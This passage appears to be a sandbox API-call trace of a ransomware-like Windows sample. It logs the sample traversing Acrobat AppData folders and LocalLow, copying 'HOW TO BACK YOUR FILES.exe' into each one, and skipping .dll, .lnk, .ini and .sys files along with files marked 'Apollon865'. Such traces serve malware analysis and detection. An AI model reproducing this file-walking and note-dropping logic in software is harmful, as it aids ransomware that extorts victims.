	[0043.756] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="JavaScripts" | out: lpString1="JavaScripts") returned="JavaScripts"
	[0043.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0043.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x599580
	[0043.756] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0043.756] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1
	[0043.756] lstrcmpiW (lpString1="Security", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.756] lstrcmpiW (lpString1="Security", lpString2="Apollon865.txt.exe") returned 1
	[0043.756] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Security" | out: lpString1="Security") returned="Security"
	[0043.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.756] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599bd8
	[0043.756] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.756] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0
	[0043.756] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.756] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.756] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security"
	[0043.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned 73
	[0043.756] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security"
	[0043.756] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.756] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.765] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.765] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x32268370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32268370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.766] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.766] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.766] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="addressbook.acrodata" | out: lpString1="addressbook.acrodata") returned="addressbook.acrodata"
	[0043.766] lstrlenW (lpString="addressbook.acrodata") returned 20
	[0043.766] lstrlenW (lpString="Apollon865") returned 10
	[0043.766] lstrcmpiW (lpString1="k.acrodata", lpString2="Apollon865") returned 1
	[0043.766] lstrlenW (lpString=".dll") returned 4
	[0043.766] lstrcmpiW (lpString1="addressbook.acrodata", lpString2=".dll") returned 1
	[0043.766] lstrlenW (lpString=".lnk") returned 4
	[0043.766] lstrcmpiW (lpString1="addressbook.acrodata", lpString2=".lnk") returned 1
	[0043.766] lstrlenW (lpString=".ini") returned 4
	[0043.766] lstrcmpiW (lpString1="addressbook.acrodata", lpString2=".ini") returned 1
	[0043.766] lstrlenW (lpString=".sys") returned 4
	[0043.766] lstrcmpiW (lpString1="addressbook.acrodata", lpString2=".sys") returned 1
	[0043.766] lstrlenW (lpString="addressbook.acrodata") returned 20
	[0043.766] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="CRLCache" | out: lpString1="CRLCache") returned="CRLCache"
	[0043.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599bd8
	[0043.766] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.766] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32268370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32268370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.766] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.766] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32268370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32268370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.766] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.766] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.766] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache"
	[0043.766] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned 82
	[0043.767] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache"
	[0043.767] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.767] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.776] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.776] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3228e4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3228e4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.776] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.776] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.776] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" | out: lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl"
	[0043.776] lstrlenW (lpString="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned 44
	[0043.776] lstrlenW (lpString="Apollon865") returned 10
	[0043.776] lstrcmpiW (lpString1="643651.crl", lpString2="Apollon865") returned -1
	[0043.776] lstrlenW (lpString=".dll") returned 4
	[0043.776] lstrcmpiW (lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpString2=".dll") returned 1
	[0043.777] lstrlenW (lpString=".lnk") returned 4
	[0043.777] lstrcmpiW (lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpString2=".lnk") returned 1
	[0043.777] lstrlenW (lpString=".ini") returned 4
	[0043.777] lstrcmpiW (lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpString2=".ini") returned 1
	[0043.777] lstrlenW (lpString=".sys") returned 4
	[0043.777] lstrcmpiW (lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpString2=".sys") returned 1
	[0043.777] lstrlenW (lpString="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned 44
	[0043.777] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" | out: lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl"
	[0043.777] lstrlenW (lpString="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned 44
	[0043.777] lstrlenW (lpString="Apollon865") returned 10
	[0043.777] lstrcmpiW (lpString1="26687F.crl", lpString2="Apollon865") returned -1
	[0043.777] lstrlenW (lpString=".dll") returned 4
	[0043.777] lstrcmpiW (lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpString2=".dll") returned 1
	[0043.777] lstrlenW (lpString=".lnk") returned 4
	[0043.777] lstrcmpiW (lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpString2=".lnk") returned 1
	[0043.777] lstrlenW (lpString=".ini") returned 4
	[0043.777] lstrcmpiW (lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpString2=".ini") returned 1
	[0043.777] lstrlenW (lpString=".sys") returned 4
	[0043.777] lstrcmpiW (lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpString2=".sys") returned 1
	[0043.777] lstrlenW (lpString="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned 44
	[0043.777] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts"
	[0043.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599580 | out: hHeap=0x580000) returned 1
	[0043.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0043.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned 76
	[0043.777] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts"
	[0043.777] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.786] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.786] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x322b4630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x322b4630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.786] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.786] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.786] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="glob.js" | out: lpString1="glob.js") returned="glob.js"
	[0043.786] lstrlenW (lpString="glob.js") returned 7
	[0043.786] lstrlenW (lpString="Apollon865") returned 10
	[0043.786] lstrlenW (lpString=".dll") returned 4
	[0043.786] lstrcmpiW (lpString1="glob.js", lpString2=".dll") returned 1
	[0043.786] lstrlenW (lpString=".lnk") returned 4
	[0043.786] lstrcmpiW (lpString1="glob.js", lpString2=".lnk") returned 1
	[0043.786] lstrlenW (lpString=".ini") returned 4
	[0043.786] lstrcmpiW (lpString1="glob.js", lpString2=".ini") returned 1
	[0043.786] lstrlenW (lpString=".sys") returned 4
	[0043.786] lstrcmpiW (lpString1="glob.js", lpString2=".sys") returned 1
	[0043.786] lstrlenW (lpString="glob.js") returned 7
	[0043.786] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="glob.settings.js" | out: lpString1="glob.settings.js") returned="glob.settings.js"
	[0043.787] lstrlenW (lpString="glob.settings.js") returned 16
	[0043.787] lstrlenW (lpString="Apollon865") returned 10
	[0043.787] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0043.787] lstrlenW (lpString=".dll") returned 4
	[0043.787] lstrcmpiW (lpString1="glob.settings.js", lpString2=".dll") returned 1
	[0043.787] lstrlenW (lpString=".lnk") returned 4
	[0043.787] lstrcmpiW (lpString1="glob.settings.js", lpString2=".lnk") returned 1
	[0043.787] lstrlenW (lpString=".ini") returned 4
	[0043.787] lstrcmpiW (lpString1="glob.settings.js", lpString2=".ini") returned 1
	[0043.787] lstrlenW (lpString=".sys") returned 4
	[0043.787] lstrcmpiW (lpString1="glob.settings.js", lpString2=".sys") returned 1
	[0043.787] lstrlenW (lpString="glob.settings.js") returned 16
	[0043.787] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms"
	[0043.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0043.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0043.787] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned 70
	[0043.787] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms"
	[0043.787] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.787] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\forms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.792] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.792] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x322b4630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x322b4630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.792] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.792] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.792] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab"
	[0043.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0043.792] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned 71
	[0043.792] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab"
	[0043.792] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.792] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\collab\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.797] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x322da790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x322da790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.797] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.797] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.797] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow"
	[0043.797] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0043.797] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0043.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned 46
	[0043.797] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow"
	[0043.797] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.798] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.802] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.802] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x322da790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x322da790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.802] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.802] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.802] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe"
	[0043.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0043.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a998
	[0043.802] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
